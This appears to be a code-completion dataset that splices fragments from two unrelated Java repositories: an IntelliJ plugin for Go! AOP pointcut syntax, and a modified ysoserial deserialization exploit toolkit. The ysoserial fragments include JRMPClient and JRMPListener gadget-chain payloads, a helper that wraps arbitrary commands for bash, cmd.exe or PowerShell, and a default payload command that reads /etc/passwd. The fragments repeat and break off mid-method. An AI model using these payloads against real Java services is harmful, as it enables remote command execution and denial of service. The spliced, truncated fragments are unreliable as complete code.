// Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // } // // Path: src/com/aopphp/go/pattern/CodePattern.java // public class CodePattern extends PlatformPatterns { // // /** // * Matching name part after left parenthesis and one of annotation pointcut type // * \@execution(<className>) // * \@access(<className>) // * \@within(<className>) // */ // public static ElementPattern<PsiElement> insideAnnotationPointcut() { // return or( // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class) // ); // } // // public static ElementPattern<PsiElement> insidePointcutLanguage() { // return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE); // } // // public static ElementPattern<PsiElement> startOfMemberModifiers() { // return psiElement().afterLeafSkipping( // or( // psiElement(PointcutTypes.T_LEFT_PAREN), // psiElement(PointcutTypes.PRIVATE), // psiElement(PointcutTypes.PROTECTED), // psiElement(PointcutTypes.PUBLIC), // psiElement(PointcutTypes.FINAL), // psiElement(PointcutTypes.T_ALTERNATION), // psiElement().whitespace() // ), // or( // psiElement(PointcutTypes.EXECUTION), // psiElement(PointcutTypes.ACCESS) // ) // ); // } // // /** // * Checks if host is concrete annotation to inject syntax into it // * // * @param host Host element, typically string literal expression // * @param annotationPrefix Annotation prefix // * @return boolean // */ // public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) { // // PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class); // if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) { // return false; // } // // PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag); // PhpClass phpClass = null; // if (phpDocAnnotationContainer != null) { // phpClass = phpDocAnnotationContainer.getPhpClass(); // } // // if (phpClass == null || phpClass.getFQN() == null) { // return false; // } // // return phpClass.getFQN().startsWith(annotationPrefix); // // } // // /** // * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...}) // * @param host Host element is typically PHP string // * // * @return boolean // */ // public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host) // { // PsiElement element = host.getParent(); // if (!(element instanceof ParameterList)) { // return false; // } // element = element.getParent(); // if (!(element instanceof MethodReference)) { // return false; // } // // PsiElement resolvedElement = ((MethodReference) element).resolve(); // if (!(resolvedElement instanceof MethodImpl)) { // return false; // } // // MethodImpl methodImpl = (MethodImpl) resolvedElement; // if (methodImpl.getFQN() == null) { // return false; // } // // return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder"); // } // } // Path: src/com/aopphp/go/injector/PointcutQueryLanguageInjector.java import com.aopphp.go.PointcutQueryLanguage; import com.aopphp.go.pattern.CodePattern; import com.intellij.openapi.util.TextRange; import com.intellij.psi.InjectedLanguagePlaces; import com.intellij.psi.LanguageInjector; import com.intellij.psi.PsiLanguageInjectionHost; import com.jetbrains.php.lang.psi.elements.StringLiteralExpression; import org.jetbrains.annotations.NotNull; package com.aopphp.go.injector; /** * PointcutQuery injector is responsible to inject Go! AOP Pointcut syntax into the StringLiteral expressions */ public class PointcutQueryLanguageInjector implements LanguageInjector { private static final String GO_AOP_ANNOTATION = "\\Go\\Lang\\Annotation"; @Override public void getLanguagesToInject( @NotNull PsiLanguageInjectionHost host, @NotNull InjectedLanguagePlaces injectionPlacesRegistrar) { // we accept only PHP literal expressions, such as docBlocks and string for PointcutBuilder->method('<expr>') if (!(host instanceof StringLiteralExpression) || !host.isValidHost()) { return; } StringLiteralExpression literalExpression = (StringLiteralExpression) host; boolean enableInjection = CodePattern.isInsideAnnotation(literalExpression, GO_AOP_ANNOTATION); enableInjection |= CodePattern.isInsidePointcutBuilderMethod(literalExpression); if (enableInjection) { TextRange rangeInsideHost = new TextRange(1, Math.max(literalExpression.getTextLength()-1, 1));
injectionPlacesRegistrar.addPlace(PointcutQueryLanguage.INSTANCE, rangeInsideHost, null, null);
goaop/idea-plugin
src/com/aopphp/go/psi/PointcutTokenType.java
// Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // }
import com.aopphp.go.PointcutQueryLanguage; import com.intellij.psi.tree.IElementType; import org.jetbrains.annotations.NonNls; import org.jetbrains.annotations.NotNull;
package com.aopphp.go.psi; public class PointcutTokenType extends IElementType { public PointcutTokenType(@NotNull @NonNls String debugName) {
// Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // } // Path: src/com/aopphp/go/psi/PointcutTokenType.java import com.aopphp.go.PointcutQueryLanguage; import com.intellij.psi.tree.IElementType; import org.jetbrains.annotations.NonNls; import org.jetbrains.annotations.NotNull; package com.aopphp.go.psi; public class PointcutTokenType extends IElementType { public PointcutTokenType(@NotNull @NonNls String debugName) {
super(debugName, PointcutQueryLanguage.INSTANCE);
goaop/idea-plugin
src/com/aopphp/go/psi/MemberAccessType.java
// Path: src/com/aopphp/go/pointcut/MemberStateMatcherFilter.java // public class MemberStateMatcherFilter implements PointFilter { // // private static Set<KindFilter> KIND_ALL = new HashSet<KindFilter>(Arrays.asList(KindFilter.values())) ; // private PhpModifier.State allowedState; // // public MemberStateMatcherFilter(PhpModifier.State allowedState) { // // this.allowedState = allowedState; // } // // @Override // public Set<KindFilter> getKind() { // return KIND_ALL; // } // // @Override // public boolean matches(PhpNamedElement element) { // if (!(element instanceof PhpElementWithModifier)) { // return false; // } // PhpModifier modifier = ((PhpElementWithModifier) element).getModifier(); // // return allowedState.equals(modifier.getState()); // } // // @Override // public boolean equals(Object o) { // if (this == o) return true; // if (!(o instanceof MemberStateMatcherFilter)) return false; // // MemberStateMatcherFilter that = (MemberStateMatcherFilter) o; // // return allowedState == that.allowedState; // } // // @Override // public int hashCode() { // return allowedState.hashCode(); // } // }
import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.MemberStateMatcherFilter; import com.jetbrains.php.lang.psi.elements.PhpModifier.State;
// This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface MemberAccessType extends PsiElement { State getMemberAccessType();
// Path: src/com/aopphp/go/pointcut/MemberStateMatcherFilter.java // public class MemberStateMatcherFilter implements PointFilter { // // private static Set<KindFilter> KIND_ALL = new HashSet<KindFilter>(Arrays.asList(KindFilter.values())) ; // private PhpModifier.State allowedState; // // public MemberStateMatcherFilter(PhpModifier.State allowedState) { // // this.allowedState = allowedState; // } // // @Override // public Set<KindFilter> getKind() { // return KIND_ALL; // } // // @Override // public boolean matches(PhpNamedElement element) { // if (!(element instanceof PhpElementWithModifier)) { // return false; // } // PhpModifier modifier = ((PhpElementWithModifier) element).getModifier(); // // return allowedState.equals(modifier.getState()); // } // // @Override // public boolean equals(Object o) { // if (this == o) return true; // if (!(o instanceof MemberStateMatcherFilter)) return false; // // MemberStateMatcherFilter that = (MemberStateMatcherFilter) o; // // return allowedState == that.allowedState; // } // // @Override // public int hashCode() { // return allowedState.hashCode(); // } // } // Path: src/com/aopphp/go/psi/MemberAccessType.java import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.MemberStateMatcherFilter; import com.jetbrains.php.lang.psi.elements.PhpModifier.State; // This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface MemberAccessType extends PsiElement { State getMemberAccessType();
MemberStateMatcherFilter getMemberAccessTypeMatcher();
goaop/idea-plugin
src/com/aopphp/go/psi/NegatedExpression.java
// Path: src/com/aopphp/go/pointcut/Pointcut.java // public interface Pointcut extends PointFilter // { // /** // * Return the class filter for this pointcut. // * // * @return PointFilter // */ // PointFilter getClassFilter(); // }
import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.Pointcut;
// This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface NegatedExpression extends PsiElement { @NotNull BrakedExpression getBrakedExpression();
// Path: src/com/aopphp/go/pointcut/Pointcut.java // public interface Pointcut extends PointFilter // { // /** // * Return the class filter for this pointcut. // * // * @return PointFilter // */ // PointFilter getClassFilter(); // } // Path: src/com/aopphp/go/psi/NegatedExpression.java import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.Pointcut; // This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface NegatedExpression extends PsiElement { @NotNull BrakedExpression getBrakedExpression();
Pointcut resolveNegatedExpression();
goaop/idea-plugin
src/com/aopphp/go/psi/ConjugatedExpression.java
// Path: src/com/aopphp/go/pointcut/Pointcut.java // public interface Pointcut extends PointFilter // { // /** // * Return the class filter for this pointcut. // * // * @return PointFilter // */ // PointFilter getClassFilter(); // }
import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.Pointcut;
// This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface ConjugatedExpression extends PsiElement { @Nullable ConjugatedExpression getConjugatedExpression(); @NotNull NegatedExpression getNegatedExpression();
// Path: src/com/aopphp/go/pointcut/Pointcut.java // public interface Pointcut extends PointFilter // { // /** // * Return the class filter for this pointcut. // * // * @return PointFilter // */ // PointFilter getClassFilter(); // } // Path: src/com/aopphp/go/psi/ConjugatedExpression.java import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.Pointcut; // This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface ConjugatedExpression extends PsiElement { @Nullable ConjugatedExpression getConjugatedExpression(); @NotNull NegatedExpression getNegatedExpression();
Pointcut resolveConjugatedExpression();
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/JRMPClient.java
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // }
import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads; /** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long) * DGCClient$EndpointEntry.registerRefs(List<LiveRef>) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.<init>(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // Path: src/main/java/ysoserial/payloads/JRMPClient.java import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; package ysoserial.payloads; /** * * * UnicastRef.newCall(RemoteObject, Operation[], int, long) * DGCImpl_Stub.dirty(ObjID[], long, Lease) * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long) * DGCClient$EndpointEntry.registerRefs(List<LiveRef>) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Thread.start() * DGCClient$EndpointEntry.<init>(Endpoint) * DGCClient$EndpointEntry.lookup(Endpoint) * DGCClient.registerRefs(Endpoint, List<LiveRef>) * LiveRef.read(ObjectInput, boolean) * UnicastRef.readExternal(ObjectInput) * * Requires: * - JavaSE * * Argument: * - host:port to connect to, host only chooses random port (DOS if repeated many times) * * Yields: * * an established JRMP connection to the endpoint (if reachable) * * a connected RMI Registry proxy * * one system thread per endpoint (DOS) * * @author mbechler */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/JRMPClient.java
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // }
import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner;
String host; int port; int sep = connection.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = connection; } else { host = connection.substring(0, sep); port = Integer.valueOf(connection.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } @Override
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // Path: src/main/java/ysoserial/payloads/JRMPClient.java import java.lang.reflect.Proxy; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; String host; int port; int sep = connection.indexOf(':'); if ( sep < 0 ) { port = new Random().nextInt(65535); host = connection; } else { host = connection.substring(0, sep); port = Integer.valueOf(connection.substring(sep + 1)); } ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy; } public static void main ( final String[] args ) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); PayloadRunner.run(JRMPClient.class, args); } @Override
public Registry getObject(CmdExecuteHelper cmdHelper) throws Exception {
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/JRMPListener.java
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // // Path: src/main/java/ysoserial/payloads/util/Reflections.java // @SuppressWarnings ( "restriction" ) // public class Reflections { // // public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { // Field field = clazz.getDeclaredField(fieldName); // if (field != null) // field.setAccessible(true); // else if (clazz.getSuperclass() != null) // field = getField(clazz.getSuperclass(), fieldName); // return field; // } // // public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // field.set(obj, value); // } // // public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // return field.get(obj); // } // // public static Constructor<?> getFirstCtor(final String name) throws Exception { // final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; // ctor.setAccessible(true); // return ctor; // } // // // public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); // } // // @SuppressWarnings ( {"unchecked"} ) // public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes); // objCons.setAccessible(true); // Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); // sc.setAccessible(true); // return (T)sc.newInstance(consArgs); // } // // }
import java.rmi.server.RemoteObject; import java.rmi.server.RemoteRef; import java.rmi.server.UnicastRemoteObject; import sun.rmi.server.ActivationGroupImpl; import sun.rmi.server.UnicastServerRef; import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.Reflections;
package ysoserial.payloads; /** * Gadget chain: * UnicastRemoteObject.readObject(ObjectInputStream) line: 235 * UnicastRemoteObject.reexport() line: 266 * UnicastRemoteObject.exportObject(Remote, int) line: 320 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208 * LiveRef.exportObject(Target) line: 147 * TCPEndpoint.exportObject(Target) line: 411 * TCPTransport.exportObject(Target) line: 249 * TCPTransport.listen() line: 319 * * Requires: * - JavaSE * * Argument: * - Port number to open listener to */ @SuppressWarnings ( { "restriction" } ) @PayloadTest( skip = "This test would make you potentially vulnerable")
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // // Path: src/main/java/ysoserial/payloads/util/Reflections.java // @SuppressWarnings ( "restriction" ) // public class Reflections { // // public static Field getField(final Class<?> clazz, final String fieldName) throws Exception { // Field field = clazz.getDeclaredField(fieldName); // if (field != null) // field.setAccessible(true); // else if (clazz.getSuperclass() != null) // field = getField(clazz.getSuperclass(), fieldName); // return field; // } // // public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // field.set(obj, value); // } // // public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { // final Field field = getField(obj.getClass(), fieldName); // return field.get(obj); // } // // public static Constructor<?> getFirstCtor(final String name) throws Exception { // final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; // ctor.setAccessible(true); // return ctor; // } // // // public static <T> T createWithoutConstructor ( Class<T> classToInstantiate ) // throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { // return 